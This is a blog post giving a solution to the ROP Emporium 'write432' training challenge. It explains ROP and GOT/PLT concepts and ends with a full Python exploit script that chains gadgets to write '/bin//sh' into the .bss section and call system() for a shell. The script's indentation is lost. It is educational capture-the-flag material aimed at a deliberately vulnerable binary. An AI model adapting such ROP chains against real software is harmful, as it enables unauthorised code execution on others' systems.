write432 Binary Exploitation Challenge Solution -ROP Emporium

Posted by Suraj Singh on December 04, 2018 · 14 mins read
Welcome Again Crazy Hackers,

Today, In this Post I am going To Share my solution of Write432 Binary Exploitation Challenge. Basically, Write432 is little more upper level challenge than other Ones But Still, it is not That much hard. You Just Need To Give Try And Spend Little Time to Explore Some Useful Concepts Related binary Exploitation Challenges, Tips And Tricks. Etc.

So, Let's Start With Some Basic Related Informations.

What is Binary Exploitation?

Ans. According To Google Search,
                                                       "Binary exploitation is the process of subverting a compiled application such that it violates some trust boundary in a way that is advantageous to you, the attacker. In this module we are going to focus on memory corruption."

What is ROP?
Ans. According To Wikipedia
                                               "Return-oriented programming (ROP) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.

In this technique, an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine's memory, called "gadgets".[2] Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.Check Here

What is GOT and PLT?
Ans. According To Systemoverload
                                                          "There’s two types of binaries on any system: statically linked and dynamically linked. Statically linked binaries are self-contained, containing all of the code necessary for them to run within the single file, and do not depend on any external libraries. Dynamically linked binaries (which are the default when you run gcc and most other compilers) do not include a lot of functions, but rely on system libraries to provide a portion of the functionality. For example, when your binary uses printf to print some data, the actual implementation of printf is part of the system C library. Typically, on current GNU/Linux systems, this is provided by libc.so.6, which is the name of the current GNU Libc library.
In order to locate these functions, your program needs to know the address of printf to call it. While this could be written into the raw binary at compile time, there’s some problems with that strategy:
Each time the library changes, the addresses of the functions within the library change, when libc is upgraded, you’d need to rebuild every binary on your system. While this might appeal to Gentoo users, the rest of us would find it an upgrade challenge to replace every binary every time libc received an update.
Modern systems using ASLR load libraries at different locations on each program invocation. Hardcoding addresses would render this impossible.
Consequently, a strategy was developed to allow looking up all of these addresses when the program was run and providing a mechanism to call these functions from libraries. This is known as relocation, and the hard work of doing this at runtime is performed by the linker, aka ld-linux.so. (Note that every dynamically linked program will be linked against the linker, this is actually set in a special ELF section called .interp.) The linker is actually run before any code from your program or libc, but this is completely abstracted from the user by the Linux kernel. 


                        Looking at an ELF file, you will discover that it has a number of sections, and it turns out that relocations require several of these sections. I’ll start by defining the sections, then discuss how they’re used in practice.

            This is the GOT, or Global Offset Table. This is the actual table of offsets as filled in by the linker for external symbols.

           This is the PLT, or Procedure Linkage Table. These are stubs that look up the addresses in the .got.plt section, and either jump to the right address, or trigger the code in the linker to look up the address. (If the address has not been filled in to .got.plt yet.)

           This is the GOT for the PLT. It contains the target addresses (after they have been looked up) or an address back in the .plt to trigger the lookup. Classically, this data was part of the .got section.

             It seems like they wanted every combination of PLT and GOT! This just seems to contain code to jump to the first entry of the .got. I’m not actually sure what uses this. (If you know, please reach out and let me know! In testing a couple of programs, this code is not hit, but maybe there’s some obscure case for this.)
Check Here


# Download the application
wget https://ropemporium.com/binary/write432.zip
# Unzip it
unzip write432.zip
# Execute (if bash can't find the executable look here)

Hint Provided By ROP Emporium

ROP is just a form of arbitrary code execution, and if we’re creative we can leverage it to do things like write or read to/from memory. The question is what mechanism are we going to use to solve this problem, is there any built-in functionality to do the reading and writing or do we need to use gadgets.

Perhaps the most important thing to consider in this challenge is where we’re going to write our string. Use rabin2 or readelf to check out the different sections of this binary and their permissions. Learn a little about ELF sections and their purpose. Consider how much space each section might give you to work with and whether corrupting the information stored at these locations will cause you problems later if you need some kind of stability from this binary.”


from struct import pack
import re
# ==================================================
# Usages: (python exp.py; cat) | ./binaryName
# =================================================

#+ ------------------------------------------------------------------ +
#= +----------------------------------------------------------------+ =
#= | | =
#= | _____ ___________ _____ | =
#= | / ___/ ___| ___ \ | __ \ | =
#= | \ `--.\ `--.| |_/ / | | \/_ __ ___ _ _ _ __ | =
#= | `--. \`--. \ ___ \ | | __| '__/ _ \| | | | '_ \ | =
#= | /\__/ /\__/ / |_/ / | |_\ \ | | (_) | |_| | |_) | | =
#= | \____/\____/\____/ \____/_| \___/ \__,_| .__/ | =
#= | | | | =
#= | |_| | =
#= +----------------------------------------------------------------+ =
#= +----------------------------------------------------------------+ =
#= | | =
#= | surajsinghbisht054@gmail.com | =
#= | www.bitforestinfo.com | =
#= | | =
#= | Try Smart, Try Hard & Don't Cheat | =
#= +----------------------------------------------------------------+ =
#+ ------------------------------------------------------------------ +

# Try (python exp.py; cat) | ./write432


# Useful Gadgets
g1 = 0x08048670 # mov dword ptr [edi], ebp ; ret
g2 = 0x080483e1 # pop ebx ; ret
g3 = 0x080486db # pop ebp ; ret
g4 = 0x080486da # pop edi ; pop ebp ; ret

# Useful Address
ad1 = 0x0804864c # useful function
ad2 = 0x080485f6 # pwnme
ad3 = 0x0804a040 #.bss
ad4 = 0x08048430 # system

# Writing Codes
def gen_args(s, adr):
a = adr
payload = ''
for i in re.findall('....', s):
payload += pack('I', g4) # pop
payload += pack('I', a) # EDI
payload += i # Ebp
payload += pack('I', g1) # mov [edi] ebp
a += 4

return payload

# Payload Section
# Little endian: 44

# Buffer
payload = ''
payload += 'A'*36 # Pointed By EAX, ECX,
payload += 'BBBB'
payload += 'CCCC' # EBP

# Controls
payload += gen_args('/bin//sh ', ad3) # EIP
payload += pack('I', ad4) # system
payload += 'AAAA' # Next Command
payload += pack('I', ad3) # Argument
print payload